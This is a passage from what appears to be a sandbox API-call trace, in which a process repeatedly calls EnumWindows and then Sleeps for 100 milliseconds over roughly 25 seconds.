(lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.341] Sleep (dwMilliseconds=0x64) [0183.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.410] Sleep (dwMilliseconds=0x64) [0183.505] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.505] Sleep (dwMilliseconds=0x64) [0183.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.613] Sleep (dwMilliseconds=0x64) [0183.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.708] Sleep (dwMilliseconds=0x64) [0183.757] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.757] Sleep (dwMilliseconds=0x64) [0183.777] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.778] Sleep (dwMilliseconds=0x64) [0183.862] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.863] Sleep (dwMilliseconds=0x64) [0183.943] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.944] Sleep (dwMilliseconds=0x64) [0183.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0183.973] Sleep (dwMilliseconds=0x64) [0184.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.067] Sleep (dwMilliseconds=0x64) [0184.148] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.149] Sleep (dwMilliseconds=0x64) [0184.188] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.189] Sleep (dwMilliseconds=0x64) [0184.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.270] Sleep (dwMilliseconds=0x64) [0184.333] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.334] Sleep (dwMilliseconds=0x64) [0184.372] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.373] Sleep (dwMilliseconds=0x64) [0184.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.504] Sleep (dwMilliseconds=0x64) [0184.684] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.684] Sleep (dwMilliseconds=0x64) [0184.734] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.735] Sleep (dwMilliseconds=0x64) [0184.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.771] Sleep (dwMilliseconds=0x64) [0184.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.832] Sleep (dwMilliseconds=0x64) [0184.905] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.906] Sleep (dwMilliseconds=0x64) [0184.928] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0184.929] Sleep (dwMilliseconds=0x64) [0185.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.004] Sleep (dwMilliseconds=0x64) [0185.096] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.096] Sleep (dwMilliseconds=0x64) [0185.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.192] Sleep (dwMilliseconds=0x64) [0185.305] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.305] Sleep (dwMilliseconds=0x64) [0185.403] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.404] Sleep (dwMilliseconds=0x64) [0185.482] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.483] Sleep (dwMilliseconds=0x64) [0185.514] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.514] Sleep (dwMilliseconds=0x64) [0185.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.723] Sleep (dwMilliseconds=0x64) [0185.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.801] Sleep (dwMilliseconds=0x64) [0185.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.895] Sleep (dwMilliseconds=0x64) [0185.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0185.973] Sleep (dwMilliseconds=0x64) [0186.071] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.071] Sleep (dwMilliseconds=0x64) [0186.135] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.136] Sleep (dwMilliseconds=0x64) [0186.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.207] Sleep (dwMilliseconds=0x64) [0186.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.316] Sleep (dwMilliseconds=0x64) [0186.360] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.361] Sleep (dwMilliseconds=0x64) [0186.434] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.435] Sleep (dwMilliseconds=0x64) [0186.520] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.521] Sleep (dwMilliseconds=0x64) [0186.686] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.687] Sleep (dwMilliseconds=0x64) [0186.743] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.744] Sleep (dwMilliseconds=0x64) [0186.917] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.917] Sleep (dwMilliseconds=0x64) [0186.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0186.973] Sleep (dwMilliseconds=0x64) [0187.034] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.036] Sleep (dwMilliseconds=0x64) [0187.130] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.131] Sleep (dwMilliseconds=0x64) [0187.151] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.152] Sleep (dwMilliseconds=0x64) [0187.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.192] Sleep (dwMilliseconds=0x64) [0187.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.271] Sleep (dwMilliseconds=0x64) [0187.351] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.352] Sleep (dwMilliseconds=0x64) [0187.368] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.369] Sleep (dwMilliseconds=0x64) [0187.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.410] Sleep (dwMilliseconds=0x64) [0187.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.489] Sleep (dwMilliseconds=0x64) [0187.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.646] Sleep (dwMilliseconds=0x64) [0187.672] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.673] Sleep (dwMilliseconds=0x64) [0187.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.723] Sleep (dwMilliseconds=0x64) [0187.784] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.785] Sleep (dwMilliseconds=0x64) [0187.866] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.867] Sleep (dwMilliseconds=0x64) [0187.906] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0187.907] Sleep (dwMilliseconds=0x64) [0188.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.068] Sleep (dwMilliseconds=0x64) [0188.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.145] Sleep (dwMilliseconds=0x64) [0188.208] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.209] Sleep (dwMilliseconds=0x64) [0188.227] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.228] Sleep (dwMilliseconds=0x64) [0188.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.317] Sleep (dwMilliseconds=0x64) [0188.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.396] Sleep (dwMilliseconds=0x64) [0188.451] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.452] Sleep (dwMilliseconds=0x64) [0188.517] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.518] Sleep (dwMilliseconds=0x64) [0188.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.646] Sleep (dwMilliseconds=0x64) [0188.737] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.738] Sleep (dwMilliseconds=0x64) [0188.801] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.802] Sleep (dwMilliseconds=0x64) [0188.837] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.838] Sleep (dwMilliseconds=0x64) [0188.867] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.868] Sleep (dwMilliseconds=0x64) [0188.904] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.905] Sleep (dwMilliseconds=0x64) [0188.935] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.935] Sleep (dwMilliseconds=0x64) [0188.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0188.973] Sleep (dwMilliseconds=0x64) [0189.059] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.061] Sleep (dwMilliseconds=0x64) [0189.121] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.122] Sleep (dwMilliseconds=0x64) [0189.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.177] Sleep (dwMilliseconds=0x64) [0189.230] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.230] Sleep (dwMilliseconds=0x64) [0189.265] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.265] Sleep (dwMilliseconds=0x64) [0189.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.286] Sleep (dwMilliseconds=0x64) [0189.301] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.302] Sleep (dwMilliseconds=0x64) [0189.392] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.393] Sleep (dwMilliseconds=0x64) [0189.460] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.461] Sleep (dwMilliseconds=0x64) [0189.502] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.503] Sleep (dwMilliseconds=0x64) [0189.610] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.611] Sleep (dwMilliseconds=0x64) [0189.668] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.669] Sleep (dwMilliseconds=0x64) [0189.761] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.761] Sleep (dwMilliseconds=0x64) [0189.804] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.804] Sleep (dwMilliseconds=0x64) [0189.820] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.821] Sleep (dwMilliseconds=0x64) [0189.856] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.857] Sleep (dwMilliseconds=0x64) [0189.904] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.905] Sleep (dwMilliseconds=0x64) [0189.942] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0189.943] Sleep (dwMilliseconds=0x64) [0190.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.020] Sleep (dwMilliseconds=0x64) [0190.095] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.096] Sleep (dwMilliseconds=0x64) [0190.157] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.159] Sleep (dwMilliseconds=0x64) [0190.193] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.194] Sleep (dwMilliseconds=0x64) [0190.274] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.274] Sleep (dwMilliseconds=0x64) [0190.330] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.331] Sleep (dwMilliseconds=0x64) [0190.367] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.367] Sleep (dwMilliseconds=0x64) [0190.404] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.405] Sleep (dwMilliseconds=0x64) [0190.476] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.477] Sleep (dwMilliseconds=0x64) [0190.531] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.532] Sleep (dwMilliseconds=0x64) [0190.625] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.626] Sleep (dwMilliseconds=0x64) [0190.649] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.650] Sleep (dwMilliseconds=0x64) [0190.729] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.730] Sleep (dwMilliseconds=0x64) [0190.789] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.790] Sleep (dwMilliseconds=0x64) [0190.825] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.826] Sleep (dwMilliseconds=0x64) [0190.843] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.844] Sleep (dwMilliseconds=0x64) [0190.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.927] Sleep (dwMilliseconds=0x64) [0190.991] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0190.991] Sleep (dwMilliseconds=0x64) [0191.036] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.036] Sleep (dwMilliseconds=0x64) [0191.132] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.132] Sleep (dwMilliseconds=0x64) [0191.208] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.208] Sleep (dwMilliseconds=0x64) [0191.241] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.242] Sleep (dwMilliseconds=0x64) [0191.280] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.281] Sleep (dwMilliseconds=0x64) [0191.343] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.344] Sleep (dwMilliseconds=0x64) [0191.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.395] Sleep (dwMilliseconds=0x64) [0191.443] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.444] Sleep (dwMilliseconds=0x64) [0191.480] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.481] Sleep (dwMilliseconds=0x64) [0191.586] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.587] Sleep (dwMilliseconds=0x64) [0191.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.629] Sleep (dwMilliseconds=0x64) [0191.692] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.692] Sleep (dwMilliseconds=0x64) [0191.741] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.742] Sleep (dwMilliseconds=0x64) [0191.802] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.802] Sleep (dwMilliseconds=0x64) [0191.817] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.818] Sleep (dwMilliseconds=0x64) [0191.911] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0191.912] Sleep (dwMilliseconds=0x64) [0192.002] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.003] Sleep (dwMilliseconds=0x64) [0192.092] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.095] Sleep (dwMilliseconds=0x64) [0192.149] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.150] Sleep (dwMilliseconds=0x64) [0192.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.192] Sleep (dwMilliseconds=0x64) [0192.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.286] Sleep (dwMilliseconds=0x64) [0192.334] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.335] Sleep (dwMilliseconds=0x64) [0192.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.364] Sleep (dwMilliseconds=0x64) [0192.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.458] Sleep (dwMilliseconds=0x64) [0192.527] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.528] Sleep (dwMilliseconds=0x64) [0192.542] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.543] Sleep (dwMilliseconds=0x64) [0192.682] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.683] Sleep (dwMilliseconds=0x64) [0192.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.895] Sleep (dwMilliseconds=0x64) [0192.934] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0192.935] Sleep (dwMilliseconds=0x64) [0193.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.004] Sleep (dwMilliseconds=0x64) [0193.098] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.099] Sleep (dwMilliseconds=0x64) [0193.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.160] Sleep (dwMilliseconds=0x64) [0193.237] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.238] Sleep (dwMilliseconds=0x64) [0193.288] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.289] Sleep (dwMilliseconds=0x64) [0193.349] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.349] Sleep (dwMilliseconds=0x64) [0193.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.426] Sleep (dwMilliseconds=0x64) [0193.490] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.491] Sleep (dwMilliseconds=0x64) [0193.617] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.618] Sleep (dwMilliseconds=0x64) [0193.694] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.694] Sleep (dwMilliseconds=0x64) [0193.810] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.812] Sleep (dwMilliseconds=0x64) [0193.974] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0193.975] Sleep (dwMilliseconds=0x64) [0194.041] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.042] Sleep (dwMilliseconds=0x64) [0194.053] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.054] Sleep (dwMilliseconds=0x64) [0194.145] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.146] Sleep (dwMilliseconds=0x64) [0194.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.223] Sleep (dwMilliseconds=0x64) [0194.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.317] Sleep (dwMilliseconds=0x64) [0194.411] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.412] Sleep (dwMilliseconds=0x64) [0194.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.504] Sleep (dwMilliseconds=0x64) [0194.688] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.689] Sleep (dwMilliseconds=0x64) [0194.784] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.785] Sleep (dwMilliseconds=0x64) [0194.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0194.942] Sleep (dwMilliseconds=0x64) [0195.045] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.046] Sleep (dwMilliseconds=0x64) [0195.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.130] Sleep (dwMilliseconds=0x64) [0195.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.192] Sleep (dwMilliseconds=0x64) [0195.286] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.287] Sleep (dwMilliseconds=0x64) [0195.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.348] Sleep (dwMilliseconds=0x64) [0195.411] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.412] Sleep (dwMilliseconds=0x64) [0195.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.504] Sleep (dwMilliseconds=0x64) [0195.641] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.642] Sleep (dwMilliseconds=0x64) [0195.717] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.718] Sleep (dwMilliseconds=0x64) [0195.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.801] Sleep (dwMilliseconds=0x64) [0195.870] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.871] Sleep (dwMilliseconds=0x64) [0195.936] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0195.938] Sleep (dwMilliseconds=0x64) [0196.022] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0196.023] Sleep (dwMilliseconds=0x64) [0196.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0196.115] Sleep (dwMilliseconds=0x64) [0197.023] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0197.024] Sleep (dwMilliseconds=0x64) [0197.427] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0197.428] Sleep (dwMilliseconds=0x64) [0198.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0198.457] Sleep (dwMilliseconds=0x64) [0199.983] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0199.985] Sleep (dwMilliseconds=0x64) [0200.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0200.364] Sleep (dwMilliseconds=0x64) [0200.989] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0200.990] Sleep (dwMilliseconds=0x64) [0201.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0201.739] Sleep (dwMilliseconds=0x64) [0202.476] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0202.478] Sleep (dwMilliseconds=0x64) [0202.919] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0202.921] Sleep (dwMilliseconds=0x64) [0203.122] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0203.267] Sleep (dwMilliseconds=0x64) [0204.031] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.032] Sleep (dwMilliseconds=0x64) [0204.358] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.359] Sleep (dwMilliseconds=0x64) [0204.532] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.533] Sleep (dwMilliseconds=0x64) [0204.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.535] Sleep (dwMilliseconds=0x64) [0204.550] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.551] Sleep (dwMilliseconds=0x64) [0204.636] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.660] Sleep (dwMilliseconds=0x64) [0204.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.676] Sleep (dwMilliseconds=0x64) [0204.695] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.696] Sleep (dwMilliseconds=0x64) [0204.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0204.707] Sleep (dwMilliseconds=0x64) [0205.086] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.088] Sleep (dwMilliseconds=0x64) [0205.192] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.193] Sleep (dwMilliseconds=0x64) [0205.235] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.236] Sleep (dwMilliseconds=0x64) [0205.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.302] Sleep (dwMilliseconds=0x64) [0205.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.379] Sleep (dwMilliseconds=0x64) [0205.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.458] Sleep (dwMilliseconds=0x64) [0205.530] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.531] Sleep (dwMilliseconds=0x64) [0205.715] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.716] Sleep (dwMilliseconds=0x64) [0205.782] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.783] Sleep (dwMilliseconds=0x64) [0205.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.849] Sleep (dwMilliseconds=0x64) [0205.966] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0205.967] Sleep (dwMilliseconds=0x64) [0206.030] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.031] Sleep (dwMilliseconds=0x64) [0206.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.067] Sleep (dwMilliseconds=0x64) [0206.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.130] Sleep (dwMilliseconds=0x64) [0206.214] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.215] Sleep (dwMilliseconds=0x64) [0206.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.285] Sleep (dwMilliseconds=0x64) [0206.346] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.347] Sleep (dwMilliseconds=0x64) [0206.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.426] Sleep (dwMilliseconds=0x64) [0206.487] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.488] Sleep (dwMilliseconds=0x64) [0206.571] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.572] Sleep (dwMilliseconds=0x64) [0206.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.676] Sleep (dwMilliseconds=0x64) [0206.723] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.724] Sleep (dwMilliseconds=0x64) [0206.786] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.787] Sleep (dwMilliseconds=0x64) [0206.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.864] Sleep (dwMilliseconds=0x64) [0206.950] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0206.952] Sleep (dwMilliseconds=0x64) [0207.005] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.006] Sleep (dwMilliseconds=0x64) [0207.081] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.084] Sleep (dwMilliseconds=0x64) [0207.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.161] Sleep (dwMilliseconds=0x64) [0207.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.239] Sleep (dwMilliseconds=0x64) [0207.317] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.318] Sleep (dwMilliseconds=0x64) [0207.442] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.443] Sleep (dwMilliseconds=0x64) [0207.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.505] Sleep (dwMilliseconds=0x64) [0207.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.567] Sleep (dwMilliseconds=0x64) [0207.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.692] Sleep (dwMilliseconds=0x64) [0207.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.771] Sleep (dwMilliseconds=0x64) [0207.851] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.852] Sleep (dwMilliseconds=0x64) [0207.931] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0207.932] Sleep (dwMilliseconds=0x64) [0208.009] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0208.010] Sleep (dwMilliseconds=0x64) [0208.050] EnumWindows (lpEnumFunc=0x1e83dd0, 